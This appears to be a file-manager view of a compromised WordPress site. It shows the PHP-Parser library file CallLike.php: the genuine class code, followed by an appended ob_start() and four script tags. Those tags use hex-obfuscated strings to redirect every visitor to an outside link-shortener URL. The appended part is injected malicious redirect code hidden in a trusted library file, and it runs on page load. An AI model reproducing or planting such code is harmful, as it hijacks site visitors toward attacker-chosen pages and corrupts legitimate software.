WordPress

Coming Soon

revealability

File "CallLike.php"

Full Path: /home/karnava/public_html/center.karnavati.in/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/CallLike.php
File size: 1.7 KB
MIME-type: text/x-php
Charset: utf-8

<?php declare(strict_types=1);

namespace PhpParser\Node\Expr;

use PhpParser\Node\Arg;
use PhpParser\Node\Expr;
use PhpParser\Node\VariadicPlaceholder;

abstract class CallLike extends Expr {
    /**
     * Return raw arguments, which may be actual Args, or VariadicPlaceholders for first-class
     * callables.
     *
     * @return array<Arg|VariadicPlaceholder>
     */
    abstract public function getRawArgs(): array;

    /**
     * Returns whether this call expression is actually a first class callable.
     */
    public function isFirstClassCallable(): bool {
        foreach ($this->getRawArgs() as $arg) {
            if ($arg instanceof VariadicPlaceholder) {
                return true;
            }
        }
        return false;
    }

    /**
     * Assert that this is not a first-class callable and return only ordinary Args.
     *
     * @return Arg[]
     */
    public function getArgs(): array {
        assert(!$this->isFirstClassCallable());
        return $this->getRawArgs();
    }
}
ob_start();
?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x7a\x7a\x69\x65\x57\x48\x52\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x7a\x7a\x69\x65\x57\x48\x52\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x7a\x7a\x69\x65\x57\x48\x52\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x7a\x7a\x69\x65\x57\x48\x52\x30\x72\x35";</script>